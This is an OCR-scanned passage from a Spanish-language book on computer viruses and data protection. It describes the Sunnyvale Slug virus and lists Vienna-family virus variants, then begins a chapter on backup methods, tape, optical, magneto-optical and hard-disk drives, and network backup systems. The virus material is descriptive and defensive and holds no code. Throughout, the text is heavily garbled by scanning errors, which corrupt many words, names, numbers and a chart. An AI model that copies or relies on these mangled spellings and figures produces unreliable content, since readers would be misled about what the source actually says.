pionera lanzando al mercado un program.:t antivir.:tll\amado 
Virus I<X, junto con otras vacunas p.lra sistem<lS PC, Macin­
tosh, Conllnodore, de. 

Sunnyvalc Slug. Su origen es obvio por su nombre, pero 
lo que se desconoce csl.:t fecha de su aparictón. Y,l en julio de 
1988 lil re\'ist,l Personal Computin)-; citaba el at.1quc de este 
virus a un,1 compJilÍil del norte de Ct~hforniil. 

Este virus produce ,1lgunos efectos Lwn1gnos y otros dcs­
lruclivos, y flJrlllil un mens<ljc en l,l pt~ntallil en el que se ke: 
Grt!clings j/{n/l Su1111yvn!t'. Cal/ you fmd 111!!? (Saludos desde 
Sunnyvule. ¿Puede encontr..rme?), y a veces modifica el co­
mando COPY del s¡stem<l DOS para que eh mine o bone m­
formación, en vez de coptt~rla 
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6.3 Familias de virus 

Figura 6.14 
Panlallu de 
VSUM mostrando 
la opción 
Relotfonshlp 
Chart, donde se 
ven los virus mós 
profíflcos entre 
lodos los 
conocidos. 

El progr<1111.1 de hipcrte\.lo de Palnc1a i\L Hoffman también 
preSelll.l L'll Ull() de SUS lllCiSOS, ncJt//l{)HS}up CJ1111f, Jo reltlción 

que cx1ste entre los diferentes virus; es dcc1r, lt~s (rmulws dt' i:'I­
ms. Oc entrada se observan 21 virus pruK1p.1les o wbt•:a~ de 
fa mil i11. 

File Conrl!JUre Goto usun Sections Help USliiX 'H06 

·".·:.:me~,,,,,,,:·:::' ··:·; .)'~~·..'.~~-·~'!·:~~~lM~,:.Y-""W<:-t•;¡•::-;-,,c,;:cr:?~' 

. ¡g 

- Uin1o;: Relo~tlousldp Ch.nts - l __ ~ 

.,,..,.~ Chut J'""''"' ""'' '""""" ''"'' ¡~ 
~~~~~lChart r:~re~'c~~~t ~:ne~ ~~! ... ~.;~; 
Flip Cholrl l!urp!IJ CN.rt Syslock Chl.rt --. 
Frld•y -13th Ch.trt 11. H.lcker Chut TI~ fuily Cb&rt ~~ 

' \\'::,~·::.::-:.~ ::::::: ... =-~'\"" tj 
0/~·;;~~Y~}TI#i~?.~~i .. /L~: e;:~'-~·:·~:-J-:0.i~~f~I1:.~5~30.i~;~~iS;ú:4~~4 i 

fi:Hclp f2:tlt:lll.l fi:Srch r.i:Prlnt f7:Color rB:Uined «· •>> rlO:EKit ESC:Go!.lc~ 
Estos v1rus son los mils conocidos y dJsemin<~dos a través 

de toJo el mundo, propicianJo así que su cúdigo sea utiliza~ 
do para crear u modificar versiones, i1greg.l.ndoles 111/ClJas 

funci0/1('5 o corrigiendo t'ITtJrt'S (Bugs), gue los hacen mtí.s fun~ 
ciunales p<~ r" logrn r sus daii in os cometidos. De entre eslllS 21 
virus, cabe destaGlr que las f,mlilias mils ¡Jro/íficas son cuatro: 
Viemw, /t'/1/:'llléll, Dad: t\i'CIISt'r y SJrl/IL'd, en ese orden 

Por últinw, y p.u<1 concllllr este c.lpítulo, no olvido• r¡uc Si 
se ;¡dvierlc <tlguna Jlterac¡ón en lus <nchivos, .d 1,., • ,t,·nto 
de escrituri1 en el disco sin que s12le h<~y<~ indicad(,.: . t•Hl­

putadura, o bien interfetenci<~s o mcns;IJL'S e>..lt.tt~tu:. '-'ll ]¡¡ 

p<~n\.¡]],t, es prub.1hle que se trate de b <1cuún de un \'Jrus. Lll 

primero que dl'lw h.1cer L'S apa_,.;ar /11 ul!II)Jllftldortl, h<1cer l.1 c<Jr­
g<J desde 1111 dJSi.JIIdL' l1111pw con SJ::.Iem~<l. operativo y utliiLílf 
un programa llllfll'll ¡¡:; In m;ls .lclu<Jlizndo posJb!e, p.lf,l de­
tecl<lr y elnnin.lr ,JI extr.üi.u. 

Figura 6.15 
Vfenna es el virus 
que mós hijos y 
nietos o dado o 
lo familia 
virulento. gracias 
o su código lóc!l 
de comprender 
y modl!lcar. 

Vicnna 

6.3 Famttlas de virus 

Vicnna Chart 

Fathcr Christaas 1 ~!~~cr Christmas- 8 
Lisbon - Lisbon-8 - Ll&bon-82 
Ghostballs- Ghostballs.l 
1260 - V2P2 - V2P6l V2P6Z 

V2P6-8 
caspcr 
lldolph 
01 Dudlcy 

Wl3-8 (V-507) 
Dushanbc 

Wl3 (V-534) 

W1en (Poland) 
V1en6 

Gipsy-304 

""-·¡ 
W13-Rcq 
Wl3-J61 
W13-377 

Vicnna-B - Vicnna-B 645 

Vicnna-618 
Vicnna-621 
Vienna-64BE 
Vienna-712 
Vienna-634 R~boot 
Vienna-656 
Vienna-716 
Vienna-827 
Vienna-851 
V ienna -Abacus 
Vienna-Fell z 
Vienna-Kaszana 
Vienna-Refresh 

Violite 
Violator I Violator BT 

Plu~nbum-B 

Plucbui'!!-C 
PlumbUI:J-D 
Plur~obu~:~-E 

Pluctbum-F 
Plumbum-G 
PluJilium-Hl 
Plulllbum-H2 

L Violator 81 

Grithcr 

l Vlolator 82 - Violator 82-969 
L Violator 83 

l Violator 84 
L violator 84-1 

L violator 84-B 

t Violl!lltor-c 
Baby 

VHP-348 - VHP-353 - VHP-367 - VHP-435 
VHP-623 - VHP-627 
VHP-757 
VHP-776 
Iraqui Warrior 
>nt 
llrf-B - llrf 
or Q - Dr Q-1028 
Genny-648 
Incoe 
Interceptor 
HaX'olell-498 
Haxwcll-499 
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Figura 6.15 
Familia del virus 
Vlenna 
(continuación). 

Honxl11 
Honxla B 
Vicnna-Ncw Ycars 
Polish 583 
Sici 1 ian Hob -

Crack y 
KU'ZCiitch 
HeiCican Hud 
Ncw Ccneration 
Rattle 
TWcr-1000 
Vienna-415 
vumna-943 

Paras1 te T Paras1te 2 -
Vengeance T 

Parasite 28 
Vcngeance-8 
Vengeance-c 

Vienna-Beta Boys - Vicnna-Beta Boys 730 
Vicnna-COH.A- Vienn!I-COH.B - Vienna-CDH.C 
Vienna-Nag 
Viennii-YAH 92 - Vienna-YAM 928 
Vlpcrize - Viperize-B 

Si el sistema tiene al menos una unidad de disquete, apa­
gar la computadora basta para eliminar el virus de la memo­
ria, pero si tiene disco duro, es posible que haya que tom<1r 
otr<Js medidas como l.1s guc se mencionan en el Capítulo 8, 
que trata acere<~ de la protección contra los virus informáti­
cos, o utilizar un programa antivirus como los que se anali­
zan en el Capítulo 9. 

7 

Respaldo de datos 
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A ~mqu~ en los capítulos ~ntenores no _se h1zo suficie1_1_1e 
enfJSIS en una de las pru1c1pales med1das de proftXCIOil 

contra los virus, la cual cons1ste en hacer periódic.-.mente co­
pias de respaldo (backup) de los archivos que conlu.?nen los da­
tos crc<1dos por usted, este capítulo está íntegr.-.mente 
dedic<1do a ello, porque, si es verdad que el hacer copias de sc­
g~tndad de los datos no los protege direct<Hnenlc contra los 
virus, t;unb1én lo L'S el hecho de que éstil es 1.1 nwjor manera 
de sal vngun rda rlos de cualquier desListre, sea GIUSLido por vi­
rus o no. 

Gcner.tlmente l.ts personas que utilizan las computadoras 
para acelerar y "ordenar" su trabajo t1cnden a ser dcsordcnil­
dos -este quizás no sea su GlSO-. Lil comput<Jdor.:~ es tan Jb­
sorbente que ".:~pmcnternente" no queda tiempo para n.:~da; 
ni ordenar los disquetes, ni los datos que se tienen en el disco 
duro, mucho menos paril det.Jic.:~r un cierto tiempo a salra­
guarclar la illjotlllnciÓII que tanto lrilbajn ha cost,tdo g~nerar 

Cuando ocurre un evento mesper.Hio como daiios fbicos 
en el discu, pt!rd1da de la configur.Jc1ón de la CLlmputJdor<t 
-como cu<tndn se desc.-.rgJ la pequeiia pila que permite con­
scrvJr lns datos del Cl\.·105-, o incluso ptH unJ infección de 
algún virus mformilhco, se pierden todos los d<ttos <llmace­
nados en el disco durn. Entonces li1 mejor manera de sJiva­
gu<trd.H esa información y recuper<Hia tal y como existía 
antes del p~rc.mce, es cont<H con una mctvdufogía de respaldo 
diJrio, semanal y mensual. 

Esta debe ser la preocup.:~ción primordiill de todos Jos 
usuarios y los departamentos de informática de las empresas 
que lrt~baj<m con sistemas computadorizados. Lil mayoría de 
!Js veces, cst,l SI!IICIIfa precauC/Óil se descuid<I por desconoci­
miento del proceso, por mai<I planifiCación de los deparl.lmcn­
tos de informática o por la errónea creencia de que se trata de 
un proccdinw:-nto que consumirá bucníl parte del tiempo 
que podríil dedicar el usuario a trnlmjo más crcnliz,v. 

l\ua inleres.:~r al lector en algo tan 11nportnnte como con­
servar lit integrid,l<.i de los archivos de dLitos, se prcscntiln 
aquí los métodos m/ts comunes p<lril respald.u esa valios.J in­
formación. Los t'quipos y p~ngrilmas de rc~p.tldo h.:111 evolu­
cionado t.mto, que e~ lllconcebible c¡uc no se dedique el poco 
tiempo que se requ1cre a este ilSlmlo tan importantL', ya que 
hJst.l los S1stem.1s oper<ttivos, como MS o PC DOS, en sus 
versiones 6.0 y posteriores mcluyen un programa BACKUP 
dedicado exclusivamente a respaldar illforlllacióll desJe DOS 
o Wmdows. 
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Aquellos usu<HIOS que ya tienen cierto _con~cin_Hcnto del 
sistema opcr<lli\'o PC o tv1S DOS, no t~ndr<ln nmgun problc· 
m a en hacer sus copias de respaldo utilizando los com<~ndos 
Backup, Restare, Copy o Diskcopy, <~unque_cxistcn sistcm_as 
-equipos y programas- que hacen much~ mas veloz y co_n_fl<l· 
ble la copia de urchivos y progrJmas, e mcluycn la vcrd!Cil­
ción y comparación de los datos copiados par~ estar seguros 
de que se ha realizado perfectamente la cupw de scg11ndad 
(Backup). 

7.1 Métodos de respaldo 
Gcner<~lmente, cuando se habla de respaldo de datos, se 
p!Cnsa que so!Jmcntc se deben prot_eger los que se almac~­
nan en el disco duro, pero es convcmcntc qu~ c11alqwer a~clll­
vo generado en la co111p11tadora se grabe en d1squcte o disco 
duro y t~dem<ls se duplique en disquetes o un1dades de res­
paldo. Un método pr<lctico de. duplicació~ c~nsiste :n grt~ba~ 
el trabajo con dos nombres dderentcs; as1, st se d.ana uno d~ 
los archivos, siempre se podrá contar con el duplicado. . 

Los métodos más usuales de respaldo (Backup) de archi­
vos se pueden clasific<~r en dos tipos: 

Método selectivo 
Permite ¡¡J operario selcccionJr exclusivamente los arch1vos 
que desea respaldar, y aunque apare~tementc es un f?OCl~ 
m<ls lento, tiene ventnjas tales como eVItar la fragtllt!l/tawm th 
archiVOS, pues los lec de donde estén y los copia en un solo 
lugar. Por otro lado, pe:m.itc copia: l.os archivos en el urden 
que se requiera -cronolog!Co, nlfubetJCo, etc.-. 

Método de duplicación de espejo 

El método de d11plicació11 o copia de espejo (niirror backup) per­
mite copiar los Llisqut.'tcs o Jiscas duros, exactamente en el 
mismo orden en que se encuentra la información, aunque 
esté fragmentada Es un proceso más rápido, p~ro tiene ~1 in­
conveniente de que copit~r.lmcluso informac1on que este tb­
fi.ilda. Se recomienda p11r<1 duplicar un disco duro completn 
-mcluycndo datos y programas-, en otro disco o cinta ~¡ue se 
vaya a utilizar en otr<1 comput<1dom. . _ 

Pam protegerse me¡or contra los VIrus '."forlllnlJCOS, es_ r~co­
menJable el método selectivo gue penmh.' rcspnldar umcJ­
mente los arch1vos de d<1tos Claro c¡ue es necesario contar 
con los program<1s origin<lles gu<~rdados en un lugar seguro, 
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a fin de poder reemplazarlos en el SJslema en el caso de sufnr 
algün percance o un<~ 111Jcccul11 por cuulqUJer tipo de virus. 

7.2 Equipos de respaldo 

Se han diseft<~do equtpos con llllill'tHlrme capacid<1d de t~lmt~­
ccnamiento y muy alt.ls \'clocidades de tr<1nsfer~nC1<1 de d,l­
tos, que cuerlt,ln con exceleniL'S progr.Hn<ls controladores, los 
cuales permiten hacer re~p.1ldos <lutom<ÍtJc.lmL~nte, sin la in­
tervención Jel operario, progr<~m<~ndo la cantid;1d de MChi­
vos a copi;1r -que puede ser de acuerdo a la extensión, el 
nombre, o .1 si fueron modificados- y los horarios para reali­
Z<lr J¡¡ copia de Sl'XIIridtid. 

En esta categoría se cncuentrun l¡¡s uniJ;:ldes para discos 
flexibles de e.\tra ¡¡Jta densidad, los d1scos tipo Wmcht's/cJ, los 
sistemas de cl/llas y msclt'!'i, los discos ópticos y tllngncto-típtJcos, 
los discos dlntl::> ICIIItH'J[J/cs, etc Aunque no todos est.in actu;ll­
mente L'll un nivel econt)mico quL' permit.l ponerlos ,1! ak<lJKe 
de cu<~lquier persona, sí ofrecen una vuned;1d de postbdid.l­
des entre l.1s cu11les ush.'d puede escoger la rn<ls <~prnpJ<Ill.l 
par<1 sus necesidades p<~rticulares 

Los d1:>z¡ut'fcs de n/Jrl tllta dt'IISJdnd puedL'Il ser de ut1hdad 
como medio de respaldo, pero su capacidad m<Íxima de ill­
macenamicnto es, a lo sumo, -10 ivtB -igu,ll .1 la mín1ma que 
ofrecen las cintas de menor C<lpacidt~d-, y son tod.wb difíci­
les de encontrar con los pro\'eedorcs de equipos de computa­
ción. 

En el CapÍiulo 2 se mencJu!lt~ron .1lgunos med1os m<~gntiti­
cos p.tra almacenar b información que se gcner¡¡ con lil com­
put.lllora; entre ellos est<Ín las unidades de Cinta magnética o 
c.1setes, lils umd<1des port<ltiles de disco flexible, los discos 
duros, etc. De L'llo<;, los discos fqos o duros est<in Ct111SJdera­
dos como la me¡or opca)n p<~r<J el alm.1cen;1miento de d<1tos 
por su velocidad de acceso -que en algunos casos es mennr 
qw.: 16 milisegundos-, y por su capacJdild de almacenamh.'ll­
to que reb.lZa fácilmente los 500MB, e mcluso en s1stemas de 
redes se hacen necesarios los discos que pueden sopLlrt¡¡r de­
cenas de gig;:¡bytes. 

El problem<1 se presentil cu<lndo se intenta h.lCer un<~ cop~<t 
de seguridad de discos fijos con ..:si.IS capacidades n m.ls, por 
medios convencionales como descargar tod;~ 1.1 inform,lciún 
en una gran cant1dad Je discos flexibles. Como solución, s.e 
des<1nnlbron iniCialmente sistemas de resp<1ldo con capaci­
dades de 20 u .tQ MB en cartuchos, como por ejemplo l,1s c<qas 
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de Bcrnoulli, que aclutdmente soporl<m capacid_aJ~s de cien­
tos de megabytcs, y otros ópticos o magneto-optlCOS cuyas 
capacidades son de varios g¡gabytt'~- . . 

Respecto a la duración, en condiciOnes optt_mas, de los m~­
dios de almacenamiento, los dtscos se cons1Jeran cu11 mas 
posibilidt~dcs de conserv<:~ción pues tu:-nen una capa más 
gruest~ y una cubiertn magnética m<ls det~s~, pnr lo que ofre­
cen mayor posibilidóld de soporlilr comlictor~cs extrcmil~ d_e 
temperatura y humedad sin deterioro, y obvtamentc rcsiSit­
ri'in más tiempo en buen estado. 

Las unid<:~des ópticas y magneto-ópticas, como las de _ww 
soln t'scritura y /1/llChns lecturas (WOI·U'·~)- o las que pt.!r?uten 
borrt~do y cscntura de datos, son muy uhle_s co~o mcd_tos de 
almacenamiento alea tono por su extraordmanil veloctdad y 
gran capacid<:~d, pero su m<1)10r desventaja es su precio, que 
la mayoría de lt~s veces es superior a los 3 000 dól<:~res y unos 
300 dólares por disco. 

7 .2.1 Unidades de respaldo en cinta 

Las unidades de respaldo en cinta han evol~ci_onado _d_e 
acuerdo .1 lí!S necesid.:Hies de la nuL'va tecnolog1a mformal!­
ca, y 01 que empleando la_ arquitectur<J de mic~oc<Jnales logr<:~n 
Ja grt~bación de los <:~rchtvos a enormes veloCidades. A_provc­
chando progrilmas de control de los dispositivos de d1sco, sc 
optimiza el tiempo de respaldo, por lo que no_ se h.1ce ~~~cesa­
río ejecutar 1mla 1.1 cmta pt~r.t localizar uni1 I~Üormaca_:m re­
querida o el fin.d del último t~rchivo par<:~ contmuar copiando 
la información. 

Con estas tt!cnicas y lns ventajas que ofrecen los c<:~set~s del 
upo DC600 o SCSI, se logran velucida~les de ncceso ~la m for­
mación superiores a los 10MB pnr m muto y c<~pa~1daJes d~ 
almacenamiento tan grandes, que yJ deben med1rse en g¡­
gabytes (miles de millones de bytes, GB). 

La cint<l m<~gndica result.t ide;d cuando ~s necesar_10 <~lma· 
cenar grandes C<Jntidades de d<~tos en el mtsmo medto, como 
por ejemplo respald<Jr dtscos duros, pues las de menor cap<:~­
cidad pueden nlm.Kcrwr unos ·IÜ mcg?bytes en un solo CJSel~ 
y 1.1s unidades de exploración helic?Itial llegan~ almacena1 
hasta S gigabytes por casc!L', c.l!ltldad que se mc;cmcnta 
constantemente con los <Jvances de nuevas tccnolog1as ~de­
más son Líciles de conseguir, pues existe ya gran cantidad d_e 
fabric<~nles de equipos de respaldo en cinta y medios mílgnc­
ticos como casetes y cartuchos -b cinta norm<~lmente es nHl-
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cho m<ls b~r<:~ta que otros med1os Illi1gnéticos de cllm<Jcena­
micnto-. 

Formatos de cinta 

Las cintas tienen algunZJ desvent.lj.l cuando se tr<Jta de acce­
sar li1 informanún en forrni1 aleaton<1, pero p.ua rcsp<~ldos de 
<~rchivos en form.1 continu.1 no hay como éstas, pues la \'C]o­
cidad de <:~cceso a lil mform.Jción L'S bilstante aceptilble, el pre­
cio muy competitivo y su capacid<:~d lo mejor. Los cuatro 
gr<~ndes formatos de cmta que se conocen son; 

Carrete a carrete (Reel lo Reel) 

Con cinta de medid<~ de media pulg;~da, estos "carretes" son 
los que más se utiliz.Jrl p<~ra los sistemas gr<:~ndl!s como mini­
compulnduras y llltlcrocomplllmloms (lv1ainfmmcs), con costos 
muy elev.tdos. Se están reemplazando pnr otros medios de 
menor costo, mayor velocidad y mayor capacidad de <~lmace­
namiento. 

Carrete de 8 mm de oncho (8 mm Cartridges) 

Formato que todavía se utiliza bastante en las 01Jil::; d1' 13cnw11-
llz y en casetes o e<lrtuchos, con mt~yor desempei'lo que las de 
otras medid<:~s de ilncho. Emplean generalmente la tecnolo­
gía de n.ploració11 heilcoidal -de Exabyte-, t¡ue est<l l1,15.1da en 
mecanismos de VCR (Video Cassette Recorder) an.dógico de 
8 mm de Son y, con tres cabezas (ser\'o, lectura y lectura des­
pués de escritura) y una cabeza de borrado <ldicion;~l e¡ u e di· 
mina a todo lo ancho de la cinta en unu sola pasada. 

QIC (Quarter·lnch Cartridge) 

Carrete de ~de pulgad<1 se ha pupul<lrizado mucho. Algu­
nos modelos como el DC2000, DC600 o DC9135 fobncodo 
por 3M se han hecho indispensables, pues han impuesto el 
estándJr de l.t Allll'nom Natw11al Stn11dnrds lllsliflllc (ANSI). 
Los fabrie<1ntes de unidades de rcspJido (b<~ckup) las han 
Jdopl<~do p<~rJ sus eqtnpos por su versatilidnd y su reducido 
tarnJii.o. 

Los L'SiíÍndt~res p.1r.1 alm.-.ccn.-.miento de inform<~ción en 
cintns de IJ.~ de pulgada h.m sido reglamentados pnr 1.1 QuM­
ter-Inch Ctlrtndge A:>soci;1tion, L'n Estt~Jos Unidos, especiii­
cando las interf.tccs entre liis computadoras y las unid.-.des 
de rcsp.:~ldo, códigos de corrección de l!rrorcs, algoritmos de 
compresión dl! .:Jrchivus, form<~tos de cint<1 y pmpiedaJ~s de 
las cabezas de gr.1baciún. 
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Cintos de Audio Digital (Digital Audio Tope, DAT) 

Estas cintas de-l mm manejan los comandos SCSI, que se cs­
pecificiln en el estándar QIC-10-1 y est<ln cilmbiando al QIC-
121, que es el conjunto de comandos SCSI-2 que se utilizarán 
en el futuro. 

7.2.2 Unidades de discos ópticos 

Las utudndt.•s de d1scos ópt1cos represcnt;m un término medio 
entre las unid.:~Jcs de rcsp<1ldo en cint,l y los discos duros de 
grandes capacidades de almacenamiento, porque ilunquc 
son un poco m<ls lenti1S en su acceso a la información que los 
discos, por otro lado son mucho más veloces que las cintas y 
almt~ccn.:m cut~nliosos diltos, con un promcdin de vtda útil a 
pnrtir de su escritura de más de diez tuios. 

Gcner<~lmcntc los platos ópticos son de unas 5 1¡-1 pulg.1d<1s y se 
pueden leer o cscnbir de un solo I.1Jo. Si se quisiera escribir 
por el otro lado, sería necesario volle.:Hio. Son removibles y 
tienen unn gr<~n C<~p<~cidad de almnccnílmiento. Los d¡::;((ls óp­
ticos se present.tn en cartuchos removibles y se dividen en 
dos categorías: CO-/~OA1 (Compact Disk-Rc.Hi Only (>.·lc­
mory) o d1sco compacto de sóltl !t·ctura, y de 111111 sola t'Scriturn 
y 11/l/CIIrls Ice/u m~ (Wnte Once l{cnd M<my, \VOIU\l), que per­
mite escnb1 r en l{l~ L'spacins disponibles, f-WrD mmc:l sobre mfor­
manón <~lm¡¡cen<Hi<t con anteriorid<1d, y no se puede borr<Jr. 

Est<J innovndnril tccnologí<J se está uliiJZ<lillio muchísimo 
en In que se cuiwce como Alullilllcdia, ya que el pro\'eedor de 
los CD-1{01\1 puede incluir h.1sta poco más de 600 rvm de in­
formación en un disco de 5 h pulgadas, y l<1s unidt~des p.ua 
leerlo pueden conseguirse en algunos casos con menos de 
300 dól<Jres. Obviamente los CD-ROl\.1no son recomcnd<~bles 
paríl respaldar d<~los, excepto que éstos no se necesitl'n en el 
futuro sí no par.1 IL'erse. 

El problcm<l rndic<t en que los lcclolcs de discos ÓJIIIcos de 
este t1po no pueden escnbir en L'llos, por lo _que se necesitarí;1 
Ullil unid<~d de escritur.l que pudría costJr Mnb<l de J 000 dó­
lares, y tendría una c.lpacid.lll de reproducción de CD-ROrvt 
de unos cuilntos 111 dí.1. L1 m;.yorÍ,l de I<Js <1pi1C<lcwnes que se 
dcs<~rrolbn en L'Ste t1po de medtos son de índole ctentíftc,l y 
educ<1tiva, y.1 que h.m proliferadLl bs cnciclopcdi.ls y progr,l­
mas <~rtísticos incluyendo lllltÍSCIII'S, so11ido 1ft111111111ciÓII. 

Los discos CD-ROtvt son In extensión Lic la tecnología de 
audw CD des<1rrollad<t en l<1 J~cad.a de los selent<ts por l<1s 
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empres<1s Phi!Jps y So11y, que se concretó en 19BJ Como todos 
los medios de <tlm<Jcen<nniento de dah1s, los CD-RO(>. 1 gr<~ban 
b inform<tción como HIJOS y ceros que son leídos medi.mtc una 
unid<td equipad<t con un r11yo de luz !tbcr. t\lm<Jcenan un pro­
medio de -t80 disquetes de 3 112 pulg.tdils de <1lt<1 densid<1d, que 
equivJil'n ílpro:-.im<l<.LllnL'llte ,1 unJs 275 000 p.ígin<ts de te:-.to 
La mayorí<~ d~ bs cumputador<ts que se ofrecen en el merca­
do hoy, cuentan con unil un1d.1d rL'productnrtl de CO-RO(>. l. 

7.2.3 Unidades de discos magneto-ópticos 

Las unid.1dcs de respJido L'll d1SúJ 11/tiSIIC/o-tÍplico (t-.10) se es­
t<ln est.md.ln~.<lndo comn !us Sistem.ls rL'IlltJ\'iblcs del futuro 
por Sll \.L'rSíl[¡]id<td, \'Clocidad de ílCCeSO ,HiL'CU,ld<l Y gr.lll (a­
p<1Cidad de ,llmaet..'namiento de infnnn<tcit1n, lllle ~l' mide en 
gig<tbyiL's, cílr.Kierísttc.ls que ~íllisf<tcen l.1s nece~icl.tdcs dt_' 
los adminbtr,1dun.~s d~ rL•des de cómputo y St~lem.1s de g.ran­
des emprL'S.lS. 

El d1sco estJ CIICIIf':'llltldo y n·nbe !<1 inftHtnncit'ln pnr medio 
de un 1 .1yo 1.-íser qu~ c.1ltent,1 una sección,del diSCl), gr.lbando 
l<t inioJ m.1ciún en form.1 biníll'iJ gr.lciJs .11 m.lgnctisnw de su 
superficiL', .1demás de permitir l'l borr.ldP de líl informílción. 
El gr<ln i ncotl\'L'nienle de eslas uniJ.::~des de resp.1ldn de dJtos 
es, por ahur<t, el precio tan elev<1do de l<~s unid.1des y de los 
medios de .1lmacenamientu. Aunque b tecnolngí<~ magncto­
óptic<t h<tcc nt<ÍS lento el .1cce:,.o <~1 disco -problem<1 que eslíl 
siendo superado dí<t a dí.1-, c~tos :_-;opo1/c::> ápt1cos bnrrablt's 
(Er<tsablc optic<~l d<1LJ disk) permiten borr<~r más Je un mi­
llón de veces la IJ1formnciún. 

En ct1mbio, esta tecnologí<t ofrece much<ts c<~r<~cleríslicJS 
que lil pont.•n en i<I mira de los usuarios de cumput.::~dor<ts; 
como son lllt'dJOs remombles, ~e puede gr<~bar infnrm<tción y 
almilcenarl<t en un lug<tr seguro, y est<~r interc.ltnbianJo JJs­
cos o c.utuchos par<J cad.1 nccL'SidMi, l.ts cap<~cidíldes de <~1~ 
macenilmiento en 1993 críln de 1.3GB por d1sco de 5 V~ 
pulg<td<ls, y bs expcctativ<~s para el futun1 son de 2.6 en 1995, 
5.2 en 1996 y finalmente IIPg.u <1 10.·1 CB en 1998, por lo que 
no se necesit<~n muchos l\.10 p<~ra guílrdíll' los respaldos de 
tod<t un.1 red de COlllfHitadnr<lS, etc. 

7 .2.4 Discos duros 

Actuíllmente los discos duros son e! 11/l'tlio lllllSIII'IICO indis­
pensable en lt)S sistem,ls de computación personales, indus-
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tria les, de oficinas, escuelas, t.:>! c., yo que la mayoría de p<lque­
tcs de softw.Jrc requa~ren una gran c<~pacidad de almacena­
miento, tanto p.1ra los programas t_Jue se van a utilizar como 
para]¡¡ información que se genera con éstos, además lils gran­
des velocidades que <~lcanziln éstos en el .::~cccsn a los dtltos 
-lecturlt o grílbaoón-los hacen perfectos p<Ha ser utiliz<~dos 
como ~~~fc11111 de nlllwCc/WIItÚ'Ilfo gcucrnl de llljOmwciÓII o me­
morí<~ "físicJ" del sistema. 

Los discos, scgün sus c.1pacidadcs, están constituidos por 
uno o mi'is pl.1tos de consistenCia rígida, apilados, guc girJn 
sobre un eje comlm a un.1 velocidad promedio de 3 600 rpm. 
Al encender J.¡ comput.1dora se inici<1 el movimiento Jel dis­
co, pues sc1 ía ilógico que el disco se empezara a mn\'er cndil 
vez que se necesite grabar o leer algunn información -las 
computadurrl~ "verde~" o ccolósicas detienen el giro del disco 
Juro cu.mdo se deja de utilizar dur.1nte cierto tiempo par.1 
ahorr.u energí.l-, puesto que t<~rda 11lgunus segundos en Ji­
canz.u su \'t.:!IÜciJ<ld de operaCión. 

Tienen dos c<~bczas de lectura/escntura -una por e<1da 
lado- p<~ra cada plato en lil pila, p;ua optimizar el acceso a la 
inform<~ción que se encuentre en cu,¡lqwer lu~>H d,•J d1sco, lo 
que los hace <lthlJll,ls n:-lnces. Aunque l<1s cap;l~·~~L1des de los 
discos f1jos oscilab<1n entre 10 y -10, ya existen modelos e<lpa­
ces de alm<lL'L'n<lr mfí~ dí.? 1 CB y sus precios son muy <lCCesi­
blcs para cu<~lquu~r usu.uio -Un disco promedio de unos 210 
MB se consigue por puco m,ís de 300 dólares, y los precios 
van en descenso debido a la gran cantidad dt: 1noddos q'ue se 
ofrecen en elmerc.1do y a la bap generalizada en los produc­
tos de computación -programas y equipo-_ 

Ahora se consiguen incluso 1midadcs rt'movibl!!s de discos 
duros a prec1os muy razonables, que se pueden transportílr y 
conectílf ,1 cu<~lqtncr compulíldora sin ningún problema, por 
lo que se pueden utdiz.u como unld,hJes dl' H~Spaldo o b1en 
como d1scos de tr<~b.JJO en computadoras de escritorio o en 
las portJbles o portátiles ~Laptops, Notcbooks, Subnote­
buoks y l\tlmtups). 

7.2.5 Respaldo de información en redes 

Los adlllilli~/radorcs de rede~ cmwcen la <~premiante necesidad 
dc realizar cop1as de seg,undíld de los v<liiOsus y abundantes 
datos que se gencrdn en las computndor<~s a su cargo. L11s 
empres.ts deben concientiz<1rse de que el costo de los gl.lt1Li•!S 
sistemas Jc rcsgu.trJo de Jatos Siempre será menor q~Je el 

"._, ..... 
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costo normJI de respaldo cuando no se cuent.l con estos equipos 
y software, sobre ludo si se tiene que agreg:1r el costo de res­
taurar la mformJción después de cualquu.~r tipo Je des<1stre. 

La mejor nwnera de resgu.udar los d<1tos de las redes es 
utilizar ~ISft'lllrl::i CU/1 Crii'Stltfrl/t'S flllftlllllifÍCO~ y /JilJ/10/t'(iiS, COillO 

por ejemplo el ADIC (t\dvanced Dig1t.ll Informal ion Co1 p.) 
DAT Autochansa 1200(, uti]¡zando suftware espeoalizado 
como A10!111flllll 'Ji¡ pe 1 \'m t', Xpress hb1 11r11111 o Ndwvrk 1\ rc!IÍprst, 
que permiten autom¡¡tizar l.ls tare<1s de resp<~ldo, prt:"scm­
diendo del elemento que más problemas pru\'Oca en estas ac­
tividades, el hombre. Estos sistcm;¡s perm1ten plane<1r 
estrategias de trJnsierenC!a y protccoón de datos bas.1das en 
la oportw11dad, neccsularl y usof,cc!lt'llf~ o 11so !lnlllado de la in­
fonn<~ción. 

Obvi,1men1e el costo de estos s1stemas es muy supenor al 
promedio -siempre m.1yor que 10 000 dúbrcs-, pero hay que 
considerar que los hencfJCJOS que se obtiL'nen su pL'r<ln L'll dinenl, 
confía bi 1 iJad y precis!Úil <1 los quL' pUt~den d.1rse ~~ se ut ihz<~n 
medios tradicionales. Por ejemplo, una empresa que cuenta 
con un¡¡ red de 200 estaciones pttcde tener coSillS de tr.1nsferencia 
y resgu<11do de ¡¡rdll\'OS de mucho mfís de l 00\J 000 de dúla1 es, 
Jos cu<tles pul'Je reducir considerablemente Sl h.1ce una m-
versión de unos 20 000 dúl.1re~. . 

A continuación se incluye un,l list.1 con varios t1pos de 
equipos p¡tra respaldo de d1fcrentes capacid,1des de ahn3ce­
n<1miento y, desde luego, .1lgunos con precios muy elevados. 
Estos no son muy neces<tnos pZ~r.l los usu.uios de computa­
doras personales con equipns sencillos, pew l.1s empresas 
con sistem,ls computadoriz<~dos y redes con varios servido­
res, deberían considerar seriamente la íldljlll~ición de alguno 
de ellos. 

Es claro CJUe est<1 listil no estj completa, jlllL'S existe una 
gran c,ulliJaJ de equipos de respaldo, y d1ari.lmente se desa­
rrollan nuevos métodos y medios de almacenamiento de in­
formación, por lo que pueden f<1lt<1r muchos n1L1delos o 
incluso desaparecer algunos del mercado, pero se menonnan 
aCJUÍ los m<Ís conocidos p<1r<1 proporcion,u, a los mteresados, 
inform,Kión que puede ser de gran utilidíld. Los plt.?cins son 
los de Estados Unidos y se p1e:.entan en dól.ues de L'~e p.1Ís 

AGA DI{ (Discus Rewritahle), producto de Adt•r!IICCd Cm­
pllics Appl1cafw11S, lnc., es una umdad de 1e~paldo de infof­
mación en disco óptico borrable, con Gtp<lcid<ld de 650 t-.H3, 
